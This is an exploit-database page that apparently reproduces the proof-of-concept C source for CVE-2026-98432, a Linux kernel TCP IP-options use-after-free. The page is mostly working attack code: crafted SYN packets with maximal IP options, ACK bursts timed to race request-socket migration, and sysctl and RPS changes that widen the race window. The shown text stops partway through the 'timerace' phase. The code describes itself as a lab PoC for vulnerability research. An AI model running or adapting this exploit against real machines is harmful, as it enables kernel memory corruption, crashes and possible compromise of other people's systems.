Exploit databaseDownload repository ZIP
GH-8526f60887ae774ba835fbcd60455bfd
googlesky/cve-2026-98432
Sources for CVE-2026-98432
33 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
googlesky/cve-2026-98432Revision 59a7612ef2bc
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/poc.c
Suggested starting fileC · 53,658 bytes/*
* CVE-2026-98432 — Linux kernel IPv4 TCP inet_opt/ireq_opt Use-After-Free
*
* Root cause:
* tcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the child
* socket (newinet->inet_opt) by pointer, without copying. A concurrent CPU
* processing a retransmitted SYN for the same request socket builds a SYNACK
* from tcp_check_req() -> tcp_v4_send_synack()/inet_csk_route_req(), caching
* the ip_options_rcu pointer under rcu_read_lock() only. TCP child sockets
* lack SOCK_RCU_FREE and inet_sock_destruct() freed inet_opt with plain
* kfree() -> the cached pointer can be dereferenced in ip_options_build()
* after the free (UAF read+write of opt->optlen / option bytes).
*
* Second variant:
* With net.ipv4.tcp_migrate_req=1, reqsk_timer_handler() migrates pending
* request sockets via inet_reqsk_clone(); old req and clone SHARE ireq_opt.
* The old req's tcp_v4_reqsk_destructor() kfree()s it while the clone keeps
* using it -> deterministic UAF on the next retransmitted SYN (or SYNACK
* retransmit timer).
*
* Fix (upstream "ipv4: free inet_opt and ireq_opt after an RCU grace period"):
* kfree() -> kfree_rcu(..., rcu) in inet_sock_destruct() and
* tcp_v4_reqsk_destructor().
*
* Modes:
* phase-migrate full deterministic scenario (variant 2)
* phase-race remote-style statistical racer (variant 1)
* phase-mptcp same race against an MPTCP listener
* selftest 1 handshake, prints SYNACK IP options echo
*
* Guest kernel is booted by lab/run.sh (the patched host kernel is never
* the target).
* The binary creates its own network topology:
* fork -> child unshare(CLONE_NEWNET) = "target" (10.9.0.1, listener)
* parent stays in init netns = "attacker" (10.9.0.2, raw sockets)
* veth pair v0 <-> v1 moved across namespaces via rtnetlink.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>
#include <stdint.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/poll.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/uio.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
#include <linux/if_packet.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/if_link.h>
#include <linux/if_addr.h>
#include <linux/rtnetlink.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#ifndef IPPROTO_MPTCP
#define IPPROTO_MPTCP 262
#endif
#ifndef NLMSG_TAIL
#define NLMSG_TAIL(nmsg) ((struct rtattr *) (((char *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
#endif
#ifndef IFLA_VETH_INFO_PEER /* private veth enum (drivers/net/veth.c), not UAPI */
#define IFLA_VETH_INFO_PEER 1
#endif
#define TARGET_IP "10.9.0.1"
#define ATTACKER_IP "10.9.0.2"
#define PORT_PLAIN 9999
#define PORT_MPTCP 9998
/* 40 bytes of NOP: maximal IPv4 header options (IHL=15) — biggest possible
* ireq_opt buffer + longest ip_options_build() copy = widest race window */
#define IPOPT_PAD "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01"
#define IPOPTLEN 40
#define IPOPT_PAD4 "\x01\x01\x01\x00" /* NOP NOP NOP EOL -> IHL=6 */
static void die(const char *m) { perror(m); exit(1); }
static void logf_(const char *tag, const char *fmt, ...) __attribute__((format(printf,2,3)));
static void logf_(const char *tag, const char *fmt, ...)
{
va_list ap; va_start(ap, fmt);
printf("[PoC:%s] ", tag); vprintf(fmt, ap); printf("\n"); fflush(stdout);
va_end(ap);
}
/* ------------------------------------------------------------------ */
/* checksums */
static uint32_t sum16(const uint8_t *b, size_t n, uint32_t s)
{
while (n > 1) { s += (uint16_t)((b[0] << 8) | b[1]); b += 2; n -= 2; }
if (n) s += (uint16_t)(b[0] << 8);
return s;
}
static uint16_t fold_cksum(uint32_t s)
{
while (s >> 16) s = (s & 0xffff) + (s >> 16);
return (uint16_t)(~s & 0xffff);
}
/* ------------------------------------------------------------------ */
/* raw IPv4+TCP packet builder (IP_HDRINCL, with IPv4 options) */
struct tuple4 { uint32_t sip, dip; uint16_t sport, dport; };
static size_t build_ip_tcp(uint8_t *buf, const struct tuple4 *t, uint32_t seq,
uint32_t ack, uint8_t flags, const void *ipopt, size_t ipoptlen)
{
size_t ihl_bytes = 20 + ((ipoptlen + 3) & ~3u);
struct iphdr *ip = (struct iphdr *)buf;
struct tcphdr *th = (struct tcphdr *)(buf + ihl_bytes);
size_t len = ihl_bytes + sizeof(struct tcphdr);
memset(buf, 0, len);
if (ipoptlen) memcpy(buf + 20, ipopt, ipoptlen);
ip->ihl = ihl_bytes / 4; ip->version = 4;
ip->tot_len = htons(len);
ip->id = htons(rand() & 0xffff);
ip->ttl = 64; ip->protocol = IPPROTO_TCP;
ip->saddr = t->sip; ip->daddr = t->dip;
th->source = htons(t->sport); th->dest = htons(t->dport);
th->seq = htonl(seq); th->ack_seq = htonl(ack);
th->doff = 5;
th->window = htons(0xffff);
th->syn = !!(flags & 0x02); th->ack = !!(flags & 0x10); th->rst = !!(flags & 0x04);
th->psh = !!(flags & 0x08); th->fin = !!(flags & 0x01);
uint32_t s = 0;
s = sum16((uint8_t *)&t->sip, 4, s);
s = sum16((uint8_t *)&t->dip, 4, s);
s = sum16((uint8_t []){0, IPPROTO_TCP}, 2, s);
{ uint8_t pl[2] = { (uint8_t)(sizeof(struct tcphdr) >> 8), (uint8_t)(sizeof(struct tcphdr) & 0xff) };
s = sum16(pl, 2, s); }
s = sum16((uint8_t *)th, sizeof(struct tcphdr), s);
th->check = htons(fold_cksum(s));
ip->check = htons(fold_cksum(sum16(buf, ihl_bytes, 0)));
return len;
}
/* ------------------------------------------------------------------ */
/* attacker-side sockets */
static int g_raw = -1; /* AF_INET SOCK_RAW IPPROTO_TCP + IP_HDRINCL */
static int g_pcap = -1; /* AF_PACKET on v1 */
static int g_l2 = -1; /* AF_PACKET sender (layer-2 frames) */
static uint8_t g_peer_mac[6], g_my_mac[6];
/* p2p mode: v1 gets a /32 so the attacker kernel has NO route back to
* the target — its auto-RSTs for returning SYNACKs cannot be sent, and
* pending request sockets survive. All attack traffic is then sent as
* raw Ethernet frames via AF_PACKET (no IP routing needed). */
static void l2_init(const char *ifname)
{
g_l2 = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, 0);
if (g_l2 < 0) die("l2 socket");
struct ifreq ifr = {0};
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (ioctl(s, SIOCGIFHWADDR, &ifr) < 0) die("SIOCGIFHWADDR");
close(s);
memcpy(g_my_mac, ifr.ifr_hwaddr.sa_data, 6);
struct sockaddr_ll sa = {0};
sa.sll_family = AF_PACKET; sa.sll_protocol = htons(ETH_P_IP);
sa.sll_ifindex = if_nametoindex(ifname);
sa.sll_halen = 6;
memcpy(sa.sll_addr, g_peer_mac, 6);
if (bind(g_l2, (struct sockaddr *)&sa, sizeof sa) < 0) die("bind l2");
}
static void send_l2(const uint8_t *ippkt, size_t len, uint32_t dip)
{
uint8_t frame[14 + 128];
if (len > 128) return;
memcpy(frame + 6, g_my_mac, 6);
memcpy(frame, g_peer_mac, 6);
frame[12] = 0x08; frame[13] = 0x00;
memcpy(frame + 14, ippkt, len);
struct sockaddr_ll sa = {0};
sa.sll_family = AF_PACKET;
sa.sll_protocol = htons(ETH_P_IP);
sa.sll_ifindex = if_nametoindex("v1");
sa.sll_halen = 6;
memcpy(sa.sll_addr, g_peer_mac, 6);
sendto(g_l2, frame, 14 + len, 0, (struct sockaddr *)&sa, sizeof sa);
}
/* Guard socket: without a socket on our source port, the ATTACKER kernel
* answers every returning SYNACK with an auto-RST (no socket found), and
* that RST kills the request socket on the target (embryonic reset).
* A LISTENing socket silently swallows those stray SYNACKs instead. */
static int sock_guard(uint16_t port)
{
int s = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (s < 0) return -1;
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
struct sockaddr_in a = {0};
a.sin_family = AF_INET; a.sin_port = htons(port);
a.sin_addr.s_addr = inet_addr(ATTACKER_IP);
if (bind(s, (struct sockaddr *)&a, sizeof a) < 0 || listen(s, 0) < 0) {
close(s);
return -1;
}
return s;
}
static void raw_init(void)
{
int one = 1;
g_raw = socket(AF_INET, SOCK_RAW | SOCK_CLOEXEC, IPPROTO_TCP);
if (g_raw < 0) die("raw socket (must run as root)");
if (setsockopt(g_raw, IPPROTO_IP, IP_HDRINCL, &one, sizeof one) < 0) die("IP_HDRINCL");
}
static void pkt_init(void)
{
g_pcap = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_IP));
if (g_pcap < 0) die("packet socket");
}
static void pkt_bind(const char *ifname)
{
struct sockaddr_ll sa = {0};
sa.sll_family = AF_PACKET; sa.sll_protocol = htons(ETH_P_IP);
sa.sll_ifindex = if_nametoindex(ifname);
if (!sa.sll_ifindex) die("if_nametoindex(v1)");
if (bind(g_pcap, (struct sockaddr *)&sa, sizeof sa) < 0) die("bind pcap");
}
static void send_pkt(const uint8_t *buf, size_t len, uint32_t dip)
{
struct sockaddr_in d = {0};
d.sin_family = AF_INET; d.sin_addr.s_addr = dip;
if (sendto(g_raw, buf, len, 0, (struct sockaddr *)&d, sizeof d) < 0) { /* best effort */ }
}
/* wait (<= ms) for a SYNACK matching sport; returns server ISN (host order) or 0 */
static uint32_t sniff_synack(uint16_t sport, int ms, uint8_t *echoed_opt, size_t *echoed_len)
{
uint8_t buf[2048];
int64_t deadline = (int64_t)ms;
while (deadline > 0) {
struct timeval tv = { .tv_usec = 20000 };
fd_set rf; FD_ZERO(&rf); FD_SET(g_pcap, &rf);
int r = select(g_pcap + 1, &rf, NULL, NULL, &tv);
if (r <= 0) { deadline -= 20; continue; }
ssize_t n = recv(g_pcap, buf, sizeof buf, MSG_DONTWAIT);
if (n < (ssize_t)(sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct tcphdr))) continue;
struct iphdr *ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
if (ip->version != 4 || ip->protocol != IPPROTO_TCP) continue;
size_t ihl = ip->ihl * 4;
if (ihl < 20) continue;
struct tcphdr *th = (struct tcphdr *)((uint8_t *)ip + ihl);
if (!(th->syn && th->ack)) continue;
if (ntohs(th->dest) != sport) continue;
if (echoed_opt && echoed_len && ihl > 20) {
size_t ol = ihl - 20;
if (ol > 40) ol = 40;
memcpy(echoed_opt, (uint8_t *)ip + 20, ol);
*echoed_len = ol;
}
return ntohl(th->seq);
}
return 0;
}
/* ------------------------------------------------------------------ */
/* rtnetlink helpers (topology without iproute2) */
static int nl_fd = -1;
static void nl_open(void)
{
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
nl_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (nl_fd < 0) die("netlink socket");
if (bind(nl_fd, (struct sockaddr *)&sa, sizeof sa) < 0) die("netlink bind");
}
static void attr_add(struct nlmsghdr *n, int type, const void *data, size_t len)
{
struct rtattr *rta = (struct rtattr *)((char *)n + NLMSG_ALIGN(n->nlmsg_len));
rta->rta_type = type; rta->rta_len = RTA_LENGTH(len);
if (len) memcpy(RTA_DATA(rta), data, len);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}
static void nest_start2(struct nlmsghdr *n, int type, struct rtattr **save)
{
*save = (struct rtattr *)((char *)n + NLMSG_ALIGN(n->nlmsg_len));
attr_add(n, type, NULL, 0);
}
static void nest_end2(struct nlmsghdr *n, struct rtattr *nest)
{
nest->rta_len = (char *)NLMSG_TAIL(n) - (char *)nest;
}
static int nl_talk(struct nlmsghdr *n)
{
struct sockaddr_nl pa = { .nl_family = AF_NETLINK };
n->nlmsg_flags |= NLM_F_ACK | NLM_F_REQUEST;
n->nlmsg_seq = 1;
if (sendto(nl_fd, n, n->nlmsg_len, 0, (struct sockaddr *)&pa, sizeof pa) < 0) die("nl send");
char rbuf[4096];
ssize_t r = recv(nl_fd, rbuf, sizeof rbuf, 0);
if (r < 0) die("nl recv");
struct nlmsghdr *rn = (struct nlmsghdr *)rbuf;
if (rn->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(rn);
if (e->error) { errno = -e->error; return -1; }
}
return 0;
}
/* create veth v0 (this ns) <-> v1 (peer), then move v1 into ns referenced by fd */
static int veth_create_move(const char *here, const char *peer, int peer_nsfd)
{
struct { struct nlmsghdr n; char buf[1024]; } req = {0};
struct ifinfomsg *ifi = NLMSG_DATA(&req.n);
req.n.nlmsg_len = NLMSG_HDRLEN + sizeof *ifi;
req.n.nlmsg_type = RTM_NEWLINK;
req.n.nlmsg_flags = NLM_F_CREATE | NLM_F_EXCL;
ifi->ifi_family = AF_UNSPEC;
attr_add(&req.n, IFLA_IFNAME, here, strlen(here) + 1);
struct rtattr *li;
nest_start2(&req.n, IFLA_LINKINFO, &li);
attr_add(&req.n, IFLA_INFO_KIND, "veth", 5);
struct rtattr *idata;
nest_start2(&req.n, IFLA_INFO_DATA, &idata);
{ /* peer attr: nested ifinfomsg + name */
struct rtattr *prta = (struct rtattr *)NLMSG_TAIL(&req.n);
attr_add(&req.n, IFLA_VETH_INFO_PEER, NULL, 0);
/* payload starts with ifinfomsg */
{
struct ifinfomsg dummy = {0};
size_t cur = NLMSG_ALIGN(req.n.nlmsg_len);
memcpy((char *)&req.n + cur, &dummy, sizeof dummy);
req.n.nlmsg_len = cur + sizeof dummy;
}
attr_add(&req.n, IFLA_IFNAME, peer, strlen(peer) + 1);
prta->rta_len = (char *)NLMSG_TAIL(&req.n) - (char *)prta;
}
nest_end2(&req.n, idata);
nest_end2(&req.n, li);
if (nl_talk(&req.n) < 0) die("veth create");
/* move peer to other ns */
int idx = if_nametoindex(peer);
if (!idx) die("if_nametoindex(peer)");
memset(&req, 0, sizeof req);
struct ifinfomsg *ifi2 = NLMSG_DATA(&req.n);
req.n.nlmsg_len = NLMSG_HDRLEN + sizeof *ifi2;
req.n.nlmsg_type = RTM_NEWLINK;
ifi2->ifi_family = AF_UNSPEC; ifi2->ifi_index = idx;
attr_add(&req.n, IFLA_NET_NS_FD, &peer_nsfd, sizeof peer_nsfd);
if (nl_talk(&req.n) < 0) die("move v1 to parent ns");
return 0;
}
static int link_addr(const char *ifname, const char *ipaddr, int prefix)
{
struct ifreq ifr = {0};
int s = socket(AF_INET, SOCK_DGRAM, 0);
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) { close(s); return -1; }
close(s);
struct { struct nlmsghdr n; char buf[256]; } req = {0};
struct ifaddrmsg *ifa = NLMSG_DATA(&req.n);
req.n.nlmsg_len = NLMSG_HDRLEN + sizeof *ifa;
req.n.nlmsg_type = RTM_NEWADDR;
ifa->ifa_family = AF_INET; ifa->ifa_prefixlen = prefix;
ifa->ifa_scope = RT_SCOPE_UNIVERSE; ifa->ifa_index = ifr.ifr_ifindex;
in_addr_t addr = inet_addr(ipaddr);
attr_add(&req.n, IFA_LOCAL, &addr, 4);
attr_add(&req.n, IFA_ADDRESS, &addr, 4);
if (nl_talk(&req.n) < 0) die("addr add");
return 0;
}
static int link_up(const char *ifname)
{
struct ifreq ifr = {0};
int s = socket(AF_INET, SOCK_DGRAM, 0);
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { close(s); return -1; }
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
int r = ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
return r;
}
static void sysctl_write(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0) { logf_("sysctl", "open %s: %s", path, strerror(errno)); return; }
if (write(fd, val, strlen(val)) < 0) logf_("sysctl", "write %s: %s", path, strerror(errno));
close(fd);
}
extern int xt_drop_synack_in(void);
/* ------------------------------------------------------------------ */
/* TARGET side (child process, own netns) */
static void write_target_sysctls(int minimal)
{
sysctl_write("/proc/sys/net/ipv4/tcp_syncookies", "0");
if (!minimal) {
sysctl_write("/proc/sys/net/ipv4/tcp_migrate_req", "1");
sysctl_write("/proc/sys/net/ipv4/tcp_timestamps", "0");
sysctl_write("/proc/sys/net/ipv4/tcp_max_syn_backlog", "8192");
}
/* readback proof for debugging */
static const char *keys[] = { "tcp_syncookies", "tcp_synack_retries", "tcp_migrate_req", 0 };
for (const char **k = keys; *k; k++) {
char path[96], val[32] = "?";
snprintf(path, sizeof path, "/proc/sys/net/ipv4/%s", *k);
int fd = open(path, O_RDONLY);
if (fd >= 0) { ssize_t r = read(fd, val, sizeof val - 1); if (r > 0) val[r] = 0; close(fd); }
for (char *p = val; *p; p++) if (*p == '\n') *p = 0;
logf_("sysctl", "%s = %s", *k, val);
}
}
/* spread veth rx softirq processing across all guest CPUs: without RPS all
* packets are processed serially on one CPU and the race cannot happen */
static void enable_rps(const char *ifname)
{
char p[128];
snprintf(p, sizeof p, "/sys/class/net/%s/queues/rx-0/rps_cpus", ifname);
sysctl_write(p, "f");
snprintf(p, sizeof p, "/sys/class/net/%s/queues/rx-0/rps_flow_cnt", ifname);
sysctl_write(p, "256");
sysctl_write("/proc/sys/net/core/rps_sock_flow_cnt", "32768");
}
static int serve_listen(int port, int mptcp, int reuseport)
{
int s = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, mptcp ? IPPROTO_MPTCP : IPPROTO_TCP);
if (s < 0) return -1;
int one = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
if (reuseport) setsockopt(s, SOL_SOCKET, SO_REUSEPORT, &one, sizeof one);
struct sockaddr_in a = {0};
a.sin_family = AF_INET; a.sin_port = htons(port); a.sin_addr.s_addr = INADDR_ANY;
if (bind(s, (struct sockaddr *)&a, sizeof a) < 0) { close(s); return -1; }
if (listen(s, 8192) < 0) { close(s); return -1; }
return s;
}
/* accept loop; immediate RST-close (SO_LINGER 0) so the child socket and its
* inherited inet_opt are destroyed as fast as possible (kfree pre-fix). */
static void dump_tcpext(void)
{
FILE *f = fopen("/proc/net/netstat", "r");
if (!f) return;
char l1[1024], l2[4096];
while (fgets(l1, sizeof l1, f) && fgets(l2, sizeof l2, f)) {
if (strncmp(l1, "TcpExt:", 7)) continue;
l1[strcspn(l1, "\n")] = 0;
static int once = 0;
if (!once) { once = 1; logf_("tcpextK", "%s", l1 + 8); }
/* values line only, truncated: pairs with the (fixed) key order */
char *v = l2 + 8;
logf_("tcpextV", "%s", v);
break;
}
fclose(f);
}
static void *monitor_thread(void *a)
{
(void)a;
for (;;) { sleep(1); dump_tcpext(); }
return NULL;
}
static int serve_mode(int port, int mptcp)
{
int s = serve_listen(port, mptcp, 0);
if (s < 0) { logf_("serve", "listen: %s", strerror(errno)); return 1; }
logf_("serve", "%s listener on :%d", mptcp ? "MPTCP" : "TCP", port);
pthread_t mon;
pthread_create(&mon, NULL, monitor_thread, NULL);
long n = 0;
for (;;) {
int c = accept4(s, NULL, NULL, SOCK_CLOEXEC);
if (c < 0) { if (errno == EINTR) continue; break; }
struct linger lg = { .l_onoff = 1, .l_linger = 0 };
setsockopt(c, SOL_SOCKET, SO_LINGER, &lg, sizeof lg);
close(c);
n++;
if (n <= 5) logf_("serve", "child #%ld accepted", n);
if ((n & 0x3ff) == 0) logf_("serve", "accepted+RST-closed %ld", n);
}
return 0;
}
/* cycling reuseport pair: A opens ~500ms (new SYNs split between A and B),
* closes, and after ~1s the A-side request sockets' SYNACK timers fire the
* migration dance (clone + stale ireq_opt + ehash-insert race). B stays
* alive and drains completed children forever. */
static int migrate_pair_mode(int port, int close_ms)
{
int b = serve_listen(port, 0, 1);
if (b < 0) { logf_("migrate-pair", "listen: %s", strerror(errno)); return 1; }
int fl = fcntl(b, F_GETFL, 0);
fcntl(b, F_SETFL, fl | O_NONBLOCK);
logf_("migrate-pair", "reuseport pair on :%d (B=%d draining); A cycles %dms on/%dms off",
port, b, close_ms, 3500);
struct linger lg = { .l_onoff = 1, .l_linger = 0 };
long drained = 0;
for (int round = 0; round < 12; round++) {
int a = serve_listen(port, 0, 1);
if (a < 0) { logf_("migrate-pair", "round %d listen A: %s", round, strerror(errno)); break; }
for (int tick = 0; tick < close_ms; tick += 10) {
usleep(10000);
for (;;) {
int c = accept4(b, NULL, NULL, SOCK_CLOEXEC | SOCK_NONBLOCK);
if (c < 0) break;
setsockopt(c, SOL_SOCKET, SO_LINGER, &lg, sizeof lg);
close(c);
drained++;
}
}
close(a); /* pending reqs on A migrate on their SYNACK timer */
logf_("migrate-pair", "cycle %d: A closed (drained so far %ld)", round, drained);
for (int tick = 0; tick < 3500; tick += 10) {
usleep(10000);
for (;;) {
int c = accept4(b, NULL, NULL, SOCK_CLOEXEC | SOCK_NONBLOCK);
if (c < 0) break;
setsockopt(c, SOL_SOCKET, SO_LINGER, &lg, sizeof lg);
close(c);
drained++;
}
}
}
for (;;) {
int c = accept4(b, NULL, NULL, SOCK_CLOEXEC | SOCK_NONBLOCK);
if (c < 0) { usleep(20000); continue; }
setsockopt(c, SOL_SOCKET, SO_LINGER, &lg, sizeof lg);
close(c); drained++;
}
close(b);
return 0;
}
/* child target process: unshare netns, build veth, configure, run server */
static __attribute__((noreturn)) void target_child(int parent_nsfd, int syncpipe_w, int mode, int port, int close_ms)
{
if (unshare(CLONE_NEWNET) < 0) { perror("child unshare(CLONE_NEWNET)"); exit(1); }
/* sysfs net dirs are netns-tagged: mount our own to see v0/queues */
mkdir("/sys", 0755);
if (mount("sysfs", "/sys", "sysfs", 0, NULL) < 0)
logf_("topo", "sysfs remount in target ns: %s (continuing)", strerror(errno));
nl_open();
if (veth_create_move("v0", "v1", parent_nsfd) < 0) exit(1);
if (link_addr("v0", TARGET_IP, 24) < 0) exit(1);
link_up("v0"); link_up("lo");
write_target_sysctls(getenv("LAB_MIN") != NULL);
if (!getenv("LAB_MIN")) enable_rps("v0");
if (mode == 3) { /* deterministic variant: serve pinned to CPU3 */
cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(3, &cpuset);
sched_setaffinity(0, sizeof cpuset, &cpuset);
}
char ok = 'K';
if (write(syncpipe_w, &ok, 1) < 0) exit(1);
{ /* pass v0's MAC to the parent (layer-2 sender needs it) */
struct ifreq ifr = {0};
strncpy(ifr.ifr_name, "v0", IFNAMSIZ - 1);
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0 || ioctl(s, SIOCGIFHWADDR, &ifr) < 0) exit(1);
close(s);
if (write(syncpipe_w, ifr.ifr_hwaddr.sa_data, 6) != 6) exit(1);
}
close(syncpipe_w);
if (mode == 0) serve_mode(port, 0);
else if (mode == 1) migrate_pair_mode(port, close_ms);
else if (mode == 3) serve_mode(port, 0);
else serve_mode(port, 1);
exit(0);
}
/* ------------------------------------------------------------------ */
/* attacker topology bring-up in parent (init) ns */
static pid_t g_target_pid;
static void topology_init(int mode, int port, int close_ms, int p2p)
{
int parent_nsfd = open("/proc/self/ns/net", O_RDONLY);
if (parent_nsfd < 0) die("open self ns");
int pfd[2];
if (pipe(pfd) < 0) die("pipe");
pid_t pid = fork();
if (pid == 0) { close(pfd[0]); target_child(parent_nsfd, pfd[1], mode, port, close_ms); }
close(pfd[1]); close(parent_nsfd);
char c = 0;
if (read(pfd[0], &c, 1) != 1 || c != 'K') die("target child setup");
if (read(pfd[0], g_peer_mac, 6) != 6) die("peer mac exchange");
close(pfd[0]);
g_target_pid = pid;
/* parent side: v1 should exist now */
for (int i = 0; i < 100 && !if_nametoindex("v1"); i++) usleep(50000);
if (!if_nametoindex("v1")) die("v1 not present in parent ns");
nl_open();
if (link_addr("v1", ATTACKER_IP, p2p ? 32 : 24) < 0) die("addr v1");
if (link_up("v1") < 0) die("up v1");
link_up("lo");
logf_("topo", "attacker ns ready: v1=%s/%d target ns: v0=%s",
ATTACKER_IP, p2p ? 32 : 24, TARGET_IP);
}
/* wait (<= total_ms) collecting SYNACKs for a set of ports */
static void sniff_synacks_multi(const uint16_t *ports, int nports,
uint32_t *srv_isn_out, int total_ms)
{
uint8_t buf[2048];
struct timespec ts0, ts1;
clock_gettime(CLOCK_MONOTONIC, &ts0);
for (;;) {
clock_gettime(CLOCK_MONOTONIC, &ts1);
long el = (ts1.tv_sec - ts0.tv_sec) * 1000 + (ts1.tv_nsec - ts0.tv_nsec) / 1000000;
if (el >= total_ms) return;
struct timeval tv = { .tv_usec = 20000 };
fd_set rf; FD_ZERO(&rf); FD_SET(g_pcap, &rf);
int r = select(g_pcap + 1, &rf, NULL, NULL, &tv);
if (r <= 0) continue;
ssize_t n = recv(g_pcap, buf, sizeof buf, MSG_DONTWAIT);
if (n < (ssize_t)(14 + 24 + 20)) continue;
struct iphdr *ip = (struct iphdr *)(buf + 14);
if (ip->version != 4 || ip->protocol != IPPROTO_TCP) continue;
struct tcphdr *th = (struct tcphdr *)((uint8_t *)ip + ip->ihl * 4);
if (!(th->syn && th->ack)) continue;
uint16_t dport = ntohs(th->dest);
for (int i = 0; i < nports; i++) {
if (ports[i] == dport && !srv_isn_out[i]) {
srv_isn_out[i] = ntohl(th->seq);
break;
}
}
}
}
/* ------------------------------------------------------------------ */
/* PHASE: migrate (UAF via request-socket migration, tcp_migrate_req=1)
*
* Trigger (matches upstream bug description):
* - pending reqs (SYN+IPOPT) on cycling reuseport listener A; A closes
* - at the SYNACK-retrans timer, reqsk_timer_handler() clones the req
* (inet_reqsk_clone memcpy's ireq_opt into the clone)
* - if the final ACK creates the child at that same moment, the child
* takes ownership of the shared ip_options buffer while the clone still
* holds a stale pointer; the clone is then dropped
* (tcp_v4_reqsk_destructor -> kfree) => child now owns freed memory,
* and its own destruction double-frees it. ACK machine-gun bursts
* across each 1s migration boundary hit the race repeatedly. */
static int phase_migrate(void)
{
topology_init(1, PORT_PLAIN, 500, 1); /* A cycles 500ms on / 3.5s off */
raw_init(); pkt_init(); pkt_bind("v1");
l2_init("v1");
logf_("migrate", "layer-2 sender ready (no route back: kernel auto-RST neutralized)");
uint32_t dip = inet_addr(TARGET_IP), sip = inet_addr(ATTACKER_IP);
struct tuple4 t = { .sip = sip, .dip = dip, .dport = PORT_PLAIN };
enum { N = 32, ROUNDS = 8 };
static uint32_t srv_isn[ROUNDS][N];
static uint16_t ports[ROUNDS][N];
uint8_t pkt[96];
uint32_t base = 0x1000;
int armed = 0;
for (int r = 0; r < ROUNDS; r++) {
uint32_t rbase = base + (uint32_t)r * 512;
int port0 = 25000 + r * 64;
for (int i = 0; i < N; i++) { ports[r][i] = port0 + i; srv_isn[r][i] = 0; }
logf_("migrate", "round %d/%d: %d SYNs w/ 40B IPOPT", r + 1, ROUNDS, N);
for (int rep = 0; rep < 2; rep++) {
for (int i = 0; i < N; i++) {
t.sport = ports[r][i];
size_t n = build_ip_tcp(pkt, &t, rbase + i, 0, 0x02, IPOPT_PAD, IPOPTLEN);
send_l2(pkt, n, dip);
}
usleep(20 * 1000);
}
/* short ISN collection, then the ACK gun covers the ~1s cascade */
sniff_synacks_multi(ports[r], N, srv_isn[r], 400);
int got = 0; for (int i = 0; i < N; i++) got += !!srv_isn[r][i];
armed += got;
logf_("migrate", "round %d: SYNACKs %d/%d — ACK gun now", r + 1, got, N);
/* dense ACK machine-gun over the migration cascade: with the -amp
* kernel each migration window stays open 100ms; a final ACK
* landing inside it makes the child take ireq_opt from the OLD req
* while the clone still holds its stale copy — insert fails, the
* clone drop kfrees the buffer the child now owns => UAF. */
for (int burst = 0; burst < 30; burst++) {
for (int i = 0; i < N; i++) {
if (!srv_isn[r][i]) continue;
t.sport = ports[r][i];
size_t n = build_ip_tcp(pkt, &t, rbase + i + 1, srv_isn[r][i] + 1, 0x10, NULL, 0);
send_l2(pkt, n, dip);
}
usleep(60 * 1000);
}
/* cleanup RSTs so the next round is heard */
for (int i = 0; i < N; i++) {
if (!srv_isn[r][i]) continue;
t.sport = ports[r][i];
size_t n = build_ip_tcp(pkt, &t, rbase + i + 1, srv_isn[r][i] + 1, 0x04, NULL, 0);
send_l2(pkt, n, dip);
}
usleep(300 * 1000);
}
logf_("migrate", "done (%d handshakes armed) — check dmesg for the KASAN report", armed);
kill(g_target_pid, SIGKILL);
waitpid(g_target_pid, NULL, 0);
return 0;
}
/* ------------------------------------------------------------------ */
/* PHASE: timerace — the CVE's primary race, naturally amplified.
*
* A request socket's SYNACK-retransmission timer fires at EXACTLY ~1.000s
* (TCP_TIMEOUT_INIT, no jitter) and its handler re-sends the SYNACK:
* reqsk_timer_handler -> inet_rtx_syn_ack -> tcp_v4_send_synack
* -> reads ireq->ireq_opt under rcu_read_lock -> ip_options_build.
* If the final ACK is processed concurrently on another CPU, the child
* takes ownership of the ip_options buffer, and an immediately following
* RST destroys the child: inet_sock_destruct -> kfree(inet_opt) (pre-fix,
* plain kfree, no RCU grace wait) — while the timer CPU is still inside
* ip_options_build() => use-after-free read/write of opt->optlen + __data.
*
* Attack: staggered SYNs (40B IP options) so the 1s timers spread, then a
